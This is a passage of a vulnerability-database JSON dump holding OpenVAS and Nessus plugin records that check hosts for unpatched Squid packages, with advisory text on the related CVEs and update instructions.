"cvss3": {}, "published": "2020-01-09T00:00:00", "type": "openvas", "title": "openSUSE: Security Advisory for squid (openSUSE-SU-2019:2541-1)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-12527", "CVE-2019-12529", "CVE-2019-18677", "CVE-2019-12523", "CVE-2019-13345", "CVE-2019-18678", "CVE-2019-18676", "CVE-2019-3688", "CVE-2019-12525", "CVE-2019-12854", "CVE-2019-12526", "CVE-2019-18679"], "modified": "2020-01-31T00:00:00", "id": "OPENVAS:1361412562310852805", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310852805", "sourceData": "# Copyright (C) 2020 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.852805\");\n script_version(\"2020-01-31T08:04:39+0000\");\n script_cve_id(\"CVE-2019-12523\", \"CVE-2019-12525\", \"CVE-2019-12526\", \"CVE-2019-12527\",\n \"CVE-2019-12529\", \"CVE-2019-12854\", \"CVE-2019-13345\", \"CVE-2019-18676\",\n \"CVE-2019-18677\", \"CVE-2019-18678\", \"CVE-2019-18679\", \"CVE-2019-3688\");\n script_tag(name:\"cvss_base\", value:\"7.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_tag(name:\"last_modification\", value:\"2020-01-31 08:04:39 +0000 (Fri, 31 Jan 2020)\");\n script_tag(name:\"creation_date\", value:\"2020-01-09 09:31:51 +0000 (Thu, 09 Jan 2020)\");\n script_name(\"openSUSE: Security Advisory for squid (openSUSE-SU-2019:2541-1)\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2020 Greenbone Networks GmbH\");\n script_family(\"SuSE Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/suse\", \"ssh/login/rpms\", re:\"ssh/login/release=openSUSELeap15\\.1\");\n\n script_xref(name:\"openSUSE-SU\", value:\"2019:2541-1\");\n script_xref(name:\"URL\", value:\"https://lists.opensuse.org/opensuse-security-announce/2019-11/msg00056.html\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'squid'\n package(s) announced via the openSUSE-SU-2019:2541-1 advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"This update for squid to version 4.9 fixes the following issues:\n\n Security issues fixed:\n\n - CVE-2019-13345: Fixed multiple cross-site scripting vulnerabilities in\n cachemgr.cgi (bsc#1140738).\n\n - CVE-2019-12526: Fixed potential remote code execution during URN\n processing (bsc#1156326).\n\n - CVE-2019-12523, CVE-2019-18676: Fixed multiple improper validations in\n URI processing (bsc#1156329).\n\n - CVE-2019-18677: Fixed Cross-Site Request Forgery in HTTP Request\n processing (bsc#1156328).\n\n - CVE-2019-18678: Fixed incorrect message parsing which could have led to\n HTTP request splitting issue (bsc#1156323).\n\n - CVE-2019-18679: Fixed information disclosure when processing HTTP Digest\n Authentication (bsc#1156324).\n\n Other issues addressed:\n\n * Fixed DNS failures when peer name was configured with any upper case\n characters\n\n * Fixed several rock cache_dir corruption issues\n\n This update was imported from the SUSE:SLE-15:Update update project.\n\n Patch Instructions:\n\n To install this openSUSE Security Update use the SUSE recommended\n installation methods\n like YaST online_update or 'zypper patch'.\n\n Alternatively you can run the command listed for your product:\n\n - openSUSE Leap 15.1:\n\n zypper in -t patch openSUSE-2019-2541=1\");\n\n script_tag(name:\"affected\", value:\"'squid' package(s) on openSUSE Leap 15.1.\");\n\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\nreport = \"\";\n\nif(release == \"openSUSELeap15.1\") {\n\n if(!isnull(res = isrpmvuln(pkg:\"squid\", rpm:\"squid~4.9~lp151.2.7.1\", rls:\"openSUSELeap15.1\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"squid-debuginfo\", rpm:\"squid-debuginfo~4.9~lp151.2.7.1\", rls:\"openSUSELeap15.1\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"squid-debugsource\", rpm:\"squid-debugsource~4.9~lp151.2.7.1\", rls:\"openSUSELeap15.1\"))) {\n report += res;\n }\n\n if(report != \"\") {\n security_message(data:report);\n } else if(__pkg_match) {\n exit(99);\n }\n exit(0);\n}\n\nexit(0);\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-05-12T15:39:25", "description": "The remote host is missing an update for the ", "cvss3": {}, "published": "2020-05-10T00:00:00", "type": "openvas", "title": "Debian: Security Advisory for squid (DSA-4682-1)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-12519", "CVE-2019-12528", "CVE-2019-18677", "CVE-2019-12523", "CVE-2019-18678", "CVE-2019-12524", "CVE-2019-12520", "CVE-2019-12521", "CVE-2019-18676", "CVE-2020-8450", "CVE-2020-11945", "CVE-2019-12526", "CVE-2019-18679", "CVE-2020-8449"], "modified": "2020-05-10T00:00:00", "id": "OPENVAS:1361412562310704682", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310704682", "sourceData": "# Copyright (C) 2020 Greenbone Networks GmbH\n# Some text descriptions might be excerpted from (a) referenced\n# source(s), and are Copyright (C) by the respective right holder(s).\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.704682\");\n script_version(\"2020-05-10T03:00:27+0000\");\n script_cve_id(\"CVE-2019-12519\", \"CVE-2019-12520\", \"CVE-2019-12521\", \"CVE-2019-12523\", \"CVE-2019-12524\", \"CVE-2019-12526\", \"CVE-2019-12528\", \"CVE-2019-18676\", \"CVE-2019-18677\", \"CVE-2019-18678\", \"CVE-2019-18679\", \"CVE-2020-11945\", \"CVE-2020-8449\", \"CVE-2020-8450\");\n script_tag(name:\"cvss_base\", value:\"7.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_tag(name:\"last_modification\", value:\"2020-05-10 03:00:27 +0000 (Sun, 10 May 2020)\");\n script_tag(name:\"creation_date\", value:\"2020-05-10 03:00:27 +0000 (Sun, 10 May 2020)\");\n script_name(\"Debian: Security Advisory for squid (DSA-4682-1)\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2020 Greenbone Networks GmbH\");\n script_family(\"Debian Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/debian_linux\", \"ssh/login/packages\", re:\"ssh/login/release=DEB10\");\n\n script_xref(name:\"URL\", value:\"https://www.debian.org/security/2020/dsa-4682.html\");\n script_xref(name:\"URL\", value:\"https://security-tracker.debian.org/tracker/DSA-4682-1\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'squid'\n package(s) announced via the DSA-4682-1 advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"Multiple security issues were discovered in the Squid proxy caching\nserver, which could result in the bypass of security filters, information\ndisclosure, the execution of arbitrary code or denial of service.\");\n\n script_tag(name:\"affected\", value:\"'squid' package(s) on Debian Linux.\");\n\n script_tag(name:\"solution\", value:\"For the stable distribution (buster), these problems have been fixed in\nversion 4.6-1+deb10u2.\n\nWe recommend that you upgrade your squid packages.\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-deb.inc\");\n\nres = \"\";\nreport = \"\";\nif(!isnull(res = isdpkgvuln(pkg:\"squid\", ver:\"4.6-1+deb10u2\", rls:\"DEB10\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"squid-cgi\", ver:\"4.6-1+deb10u2\", rls:\"DEB10\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"squid-common\", ver:\"4.6-1+deb10u2\", rls:\"DEB10\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"squid-purge\", ver:\"4.6-1+deb10u2\", rls:\"DEB10\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"squid3\", ver:\"4.6-1+deb10u2\", rls:\"DEB10\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"squidclient\", ver:\"4.6-1+deb10u2\", rls:\"DEB10\"))) {\n report += res;\n}\n\nif(report != \"\") {\n security_message(data:report);\n} else if(__pkg_match) {\n exit(99);\n}\n\nexit(0);\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-07-21T20:05:15", "description": "The remote host is missing an update for the ", "cvss3": {}, "published": "2020-07-17T00:00:00", "type": "openvas", "title": "Debian LTS: Security Advisory for squid3 (DLA-2278-1)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-12519", "CVE-2019-12529", "CVE-2019-12528", "CVE-2019-18677", "CVE-2019-12523", "CVE-2019-13345", "CVE-2019-18678", "CVE-2019-12524", "CVE-2019-12520", "CVE-2019-12521", "CVE-2019-18676", "CVE-2019-18860", "CVE-2020-8450", "CVE-2018-19132", "CVE-2019-12525", "CVE-2020-11945", "CVE-2019-12526", "CVE-2019-18679", "CVE-2020-8449"], "modified": "2020-07-17T00:00:00", "id": "OPENVAS:1361412562310892278", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310892278", "sourceData": "# Copyright (C) 2020 Greenbone Networks GmbH\n# Some text descriptions might be excerpted from (a) referenced\n# source(s), and are Copyright (C) by the respective right holder(s).\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.892278\");\n script_version(\"2020-07-17T12:33:38+0000\");\n script_cve_id(\"CVE-2018-19132\", \"CVE-2019-12519\", \"CVE-2019-12520\", \"CVE-2019-12521\", \"CVE-2019-12523\", \"CVE-2019-12524\", \"CVE-2019-12525\", \"CVE-2019-12526\", \"CVE-2019-12528\", \"CVE-2019-12529\", \"CVE-2019-13345\", \"CVE-2019-18676\", \"CVE-2019-18677\", \"CVE-2019-18678\", \"CVE-2019-18679\", \"CVE-2019-18860\", \"CVE-2020-11945\", \"CVE-2020-8449\", \"CVE-2020-8450\");\n script_tag(name:\"cvss_base\", value:\"7.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_tag(name:\"last_modification\", value:\"2020-07-17 12:33:38 +0000 (Fri, 17 Jul 2020)\");\n script_tag(name:\"creation_date\", value:\"2020-07-17 12:33:38 +0000 (Fri, 17 Jul 2020)\");\n script_name(\"Debian LTS: Security Advisory for squid3 (DLA-2278-1)\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2020 Greenbone Networks GmbH\");\n script_family(\"Debian Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/debian_linux\", \"ssh/login/packages\", re:\"ssh/login/release=DEB9\");\n\n script_xref(name:\"URL\", value:\"https://lists.debian.org/debian-lts-announce/2020/07/msg00009.html\");\n script_xref(name:\"URL\", value:\"https://security-tracker.debian.org/tracker/DLA-2278-1\");\n script_xref(name:\"URL\", value:\"https://bugs.debian.org/950802\");\n script_xref(name:\"URL\", value:\"https://bugs.debian.org/931478\");\n script_xref(name:\"URL\", value:\"https://bugs.debian.org/950925\");\n script_xref(name:\"URL\", value:\"https://bugs.debian.org/912294\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'squid3'\n package(s) announced via the DLA-2278-1 advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"It was found that Squid, a high-performance proxy caching server for\nweb clients, has been affected by multiple security vulnerabilities.\nDue to incorrect input validation and URL request handling it was\npossible to bypass access restrictions for restricted HTTP servers\nand to cause a denial-of-service.\");\n\n script_tag(name:\"affected\", value:\"'squid3' package(s) on Debian Linux.\");\n\n script_tag(name:\"solution\", value:\"For Debian 9 stretch, these problems have been fixed in version\n3.5.23-5+deb9u2.\n\nWe recommend that you upgrade your squid3 packages.\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-deb.inc\");\n\nres = \"\";\nreport = \"\";\nif(!isnull(res = isdpkgvuln(pkg:\"squid\", ver:\"3.5.23-5+deb9u2\", rls:\"DEB9\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"squid-cgi\", ver:\"3.5.23-5+deb9u2\", rls:\"DEB9\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"squid-common\", ver:\"3.5.23-5+deb9u2\", rls:\"DEB9\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"squid-dbg\", ver:\"3.5.23-5+deb9u2\", rls:\"DEB9\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"squid-purge\", ver:\"3.5.23-5+deb9u2\", rls:\"DEB9\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"squid3\", ver:\"3.5.23-5+deb9u2\", rls:\"DEB9\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"squidclient\", ver:\"3.5.23-5+deb9u2\", rls:\"DEB9\"))) {\n report += res;\n}\n\nif(report != \"\") {\n security_message(data:report);\n} else if(__pkg_match) {\n exit(99);\n}\n\nexit(0);\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "nessus": [{"lastseen": "2022-07-27T16:59:23", "description": "It was found that Squid, a high-performance proxy caching server for web clients, has been affected by the following security vulnerabilities.\n\nCVE-2019-12526\n\nURN response handling in Squid suffers from a heap-based buffer overflow. When receiving data from a remote server in response to an URN request, Squid fails to ensure that the response can fit within the buffer. This leads to attacker controlled data overflowing in the heap.\n\nCVE-2019-18677\n\nWhen the append_domain setting is used (because the appended characters do not properly interact with hostname length restrictions), it can inappropriately redirect traffic to origins it should not be delivered to. This happens because of incorrect message processing.\n\nCVE-2019-18678\n\nA programming error allows attackers to smuggle HTTP requests through frontend software to a Squid instance that splits the HTTP Request pipeline differently. The resulting Response messages corrupt caches (between a client and Squid) with attacker-controlled content at arbitrary URLs. Effects are isolated to software between the attacker client and Squid. There are no effects on Squid itself, nor on any upstream servers. The issue is related to a request header containing whitespace between a header name and a colon.\n\nCVE-2019-18679\n\nDue to incorrect data management, Squid is vulnerable to information disclosure when processing HTTP Digest Authentication. Nonce tokens contain the raw byte value of a pointer that sits within heap memory allocation. This information reduces ASLR protections and may aid attackers isolating memory areas to target for remote code execution attacks.\n\nFor Debian 8 'Jessie', these problems have been fixed in version 3.4.8-6+deb8u9.\n\nWe recommend that you upgrade your squid3 packages.\n\nNOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.", "cvss3": {"score": 9.8, "vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}, "published": "2019-12-12T00:00:00", "type": "nessus", "title": "Debian DLA-2028-1 : squid3 security update", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-12526", "CVE-2019-18677", "CVE-2019-18678", "CVE-2019-18679"], "modified": "2021-01-11T00:00:00", "cpe": ["p-cpe:/a:debian:debian_linux:squid-cgi", "p-cpe:/a:debian:debian_linux:squid-purge", "p-cpe:/a:debian:debian_linux:squid3", "p-cpe:/a:debian:debian_linux:squid3-common", "p-cpe:/a:debian:debian_linux:squid3-dbg", "p-cpe:/a:debian:debian_linux:squidclient", "cpe:/o:debian:debian_linux:8.0"], "id": "DEBIAN_DLA-2028.NASL", "href": "https://www.tenable.com/plugins/nessus/131961", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Debian Security Advisory DLA-2028-1. The text\n# itself is copyright (C) Software in the Public Interest, Inc.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(131961);\n script_version(\"1.6\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/11\");\n\n script_cve_id(\"CVE-2019-12526\", \"CVE-2019-18677\", \"CVE-2019-18678\", \"CVE-2019-18679\");\n\n script_name(english:\"Debian DLA-2028-1 : squid3 security update\");\n script_summary(english:\"Checks dpkg output for the updated packages.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Debian host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"It was found that Squid, a high-performance proxy caching server for\nweb clients, has been affected by the following security\nvulnerabilities.\n\nCVE-2019-12526\n\nURN response handling in Squid suffers from a heap-based buffer\noverflow. When receiving data from a remote server in response to an\nURN request, Squid fails to ensure that the response can fit within\nthe buffer. This leads to attacker controlled data overflowing in the\nheap.\n\nCVE-2019-18677\n\nWhen the append_domain setting is used (because the appended\ncharacters do not properly interact with hostname length\nrestrictions), it can inappropriately redirect traffic to origins it\nshould not be delivered to. This happens because of incorrect message\nprocessing.\n\nCVE-2019-18678\n\nA programming error allows attackers to smuggle HTTP requests through\nfrontend software to a Squid instance that splits the HTTP Request\npipeline differently. The resulting Response messages corrupt caches\n(between a client and Squid) with attacker-controlled content at\narbitrary URLs. Effects are isolated to software between the attacker\nclient and Squid. There are no effects on Squid itself, nor on any\nupstream servers. The issue is related to a request header containing\nwhitespace between a header name and a colon.\n\nCVE-2019-18679\n\nDue to incorrect data management, Squid is vulnerable to information\ndisclosure when processing HTTP Digest Authentication. Nonce tokens\ncontain the raw byte value of a pointer that sits within heap memory\nallocation. This information reduces ASLR protections and may aid\nattackers isolating memory areas to target for remote code execution\nattacks.\n\nFor Debian 8 'Jessie', these problems have been fixed in version\n3.4.8-6+deb8u9.\n\nWe recommend that you upgrade your squid3 packages.\n\nNOTE: Tenable Network Security has extracted the preceding description\nblock directly from the DLA security advisory. Tenable has attempted\nto automatically clean and format it as much as possible without\nintroducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://lists.debian.org/debian-lts-announce/2019/12/msg00011.html\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://packages.debian.org/source/jessie/squid3\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Upgrade the affected packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2019-12526\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:squid-cgi\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:squid-purge\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:squid3\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:squid3-common\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:squid3-dbg\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:squidclient\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:debian:debian_linux:8.0\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/11/26\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/12/10\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/12/12\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2019-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Debian Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/Debian/release\", \"Host/Debian/dpkg-l\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"debian_package.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/Debian/release\")) audit(AUDIT_OS_NOT, \"Debian\");\nif (!get_kb_item(\"Host/Debian/dpkg-l\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\nflag = 0;\nif (deb_check(release:\"8.0\", prefix:\"squid-cgi\", reference:\"3.4.8-6+deb8u9\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"squid-purge\", reference:\"3.4.8-6+deb8u9\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"squid3\", reference:\"3.4.8-6+deb8u9\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"squid3-common\", reference:\"3.4.8-6+deb8u9\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"squid3-dbg\", reference:\"3.4.8-6+deb8u9\")) flag++;\nif (deb_check(release:\"8.0\", prefix:\"squidclient\", reference:\"3.4.8-6+deb8u9\")) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:deb_report_get());\n else security_hole(0);\n exit(0);\n}\nelse audit(AUDIT_HOST_NOT, \"affected\");\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-07-28T15:26:55", "description": "According to the versions of the squid package installed, the EulerOS installation on the remote host is affected by the following vulnerabilities :\n\n - An issue was discovered in Squid 2.x, 3.x, and 4.x through 4.8. Due to incorrect data management, it is vulnerable to information disclosure when processing HTTP Digest Authentication. Nonce tokens contain the raw byte value of a pointer that sits within heap memory allocation. This information reduces ASLR protections and may aid attackers isolating memory areas to target for remote code execution attacks.(CVE-2019-18679)\n\n - An issue was discovered in Squid 3.x and 4.x through 4.8 when the append_domain setting is used (because the appended characters do not properly interact with hostname length restrictions). Due to incorrect message processing, it can inappropriately redirect traffic to origins it should not be delivered to.(CVE-2019-18677)\n\n - An issue was discovered in Squid 3.x and 4.x through 4.8. Due to incorrect input validation, there is a heap-based buffer overflow that can result in Denial of Service to all clients using the proxy. Severity is high due to this vulnerability occurring before normal security checks any remote client that can reach the proxy port can trivially perform the attack via a crafted URI scheme.(CVE-2019-18676)\n\n - An issue was discovered in Squid 3.x and 4.x through 4.8. It allows attackers to smuggle HTTP requests through frontend software to a Squid instance that splits the HTTP Request pipeline differently. The resulting Response messages corrupt caches (between a client and Squid) with attacker-controlled content at arbitrary URLs. Effects are isolated to software between the attacker client and Squid. There are no effects on Squid itself, nor on any upstream servers.\n The issue is related to a request header containing whitespace between a header name and a colon.(CVE-2019-18678)\n\n - An issue was discovered in Squid before 4.9. URN response handling in Squid suffers from a heap-based buffer overflow. When receiving data from a remote server in response to an URN request, Squid fails to ensure that the response can fit within the buffer.\n This leads to attacker controlled data overflowing in the heap.(CVE-2019-12526)\n\n - An issue was discovered in Squid before 4.9. When handling a URN request, a corresponding HTTP request is made. This HTTP request doesn't go through the access checks that incoming HTTP requests go through. This causes all access checks to be bypassed and allows access to restricted HTTP servers, e.g., an attacker can connect to HTTP servers that only listen on localhost.(CVE-2019-12523)\n\nNote that Tenable Network Security has extracted the preceding description block directly from the EulerOS security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.", "cvss3": {"score": 9.8, "vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}, "published": "2020-02-24T00:00:00", "type": "nessus", "title": "EulerOS 2.0 SP5 : squid (EulerOS-SA-2020-1133)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-12523", "CVE-2019-12526", "CVE-2019-18676", "CVE-2019-18677", "CVE-2019-18678", "CVE-2019-18679"], "modified": "2021-01-06T00:00:00", "cpe": ["p-cpe:/a:huawei:euleros:squid", "cpe:/o:huawei:euleros:2.0"], "id": "EULEROS_SA-2020-1133.NASL", "href": "https://www.tenable.com/plugins/nessus/133934", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(133934);\n script_version(\"1.6\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/06\");\n\n script_cve_id(\n \"CVE-2019-12523\",\n \"CVE-2019-12526\",\n \"CVE-2019-18676\",\n \"CVE-2019-18677\",\n \"CVE-2019-18678\",\n \"CVE-2019-18679\"\n );\n\n script_name(english:\"EulerOS 2.0 SP5 : squid (EulerOS-SA-2020-1133)\");\n script_summary(english:\"Checks the rpm output for the updated packages.\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote EulerOS host is missing multiple security updates.\");\n script_set_attribute(attribute:\"description\", value:\n\"According to the versions of the squid package installed, the EulerOS\ninstallation on the remote host is affected by the following\nvulnerabilities :\n\n - An issue was discovered in Squid 2.x, 3.x, and 4.x\n through 4.8. Due to incorrect data management, it is\n vulnerable to information disclosure when processing\n HTTP Digest Authentication. Nonce tokens contain the\n raw byte value of a pointer that sits within heap\n memory allocation. This information reduces ASLR\n protections and may aid attackers isolating memory\n areas to target for remote code execution\n attacks.(CVE-2019-18679)\n\n - An issue was discovered in Squid 3.x and 4.x through\n 4.8 when the append_domain setting is used (because the\n appended characters do not properly interact with\n hostname length restrictions). Due to incorrect message\n processing, it can inappropriately redirect traffic to\n origins it should not be delivered to.(CVE-2019-18677)\n\n - An issue was discovered in Squid 3.x and 4.x through\n 4.8. Due to incorrect input validation, there is a\n heap-based buffer overflow that can result in Denial of\n Service to all clients using the proxy. Severity is\n high due to this vulnerability occurring before normal\n security checks any remote client that can reach the\n proxy port can trivially perform the attack via a\n crafted URI scheme.(CVE-2019-18676)\n\n - An issue was discovered in Squid 3.x and 4.x through\n 4.8. It allows attackers to smuggle HTTP requests\n through frontend software to a Squid instance that\n splits the HTTP Request pipeline differently. The\n resulting Response messages corrupt caches (between a\n client and Squid) with attacker-controlled content at\n arbitrary URLs. Effects are isolated to software\n between the attacker client and Squid. There are no\n effects on Squid itself, nor on any upstream servers.\n The issue is related to a request header containing\n whitespace between a header name and a\n colon.(CVE-2019-18678)\n\n - An issue was discovered in Squid before 4.9. URN\n response handling in Squid suffers from a heap-based\n buffer overflow. When receiving data from a remote\n server in response to an URN request, Squid fails to\n ensure that the response can fit within the buffer.\n This leads to attacker controlled data overflowing in\n the heap.(CVE-2019-12526)\n\n - An issue was discovered in Squid before 4.9. When\n handling a URN request, a corresponding HTTP request is\n made. This HTTP request doesn't go through the access\n checks that incoming HTTP requests go through. This\n causes all access checks to be bypassed and allows\n access to restricted HTTP servers, e.g., an attacker\n can connect to HTTP servers that only listen on\n localhost.(CVE-2019-12523)\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the EulerOS security advisory. Tenable\nhas attempted to automatically clean and format it as much as 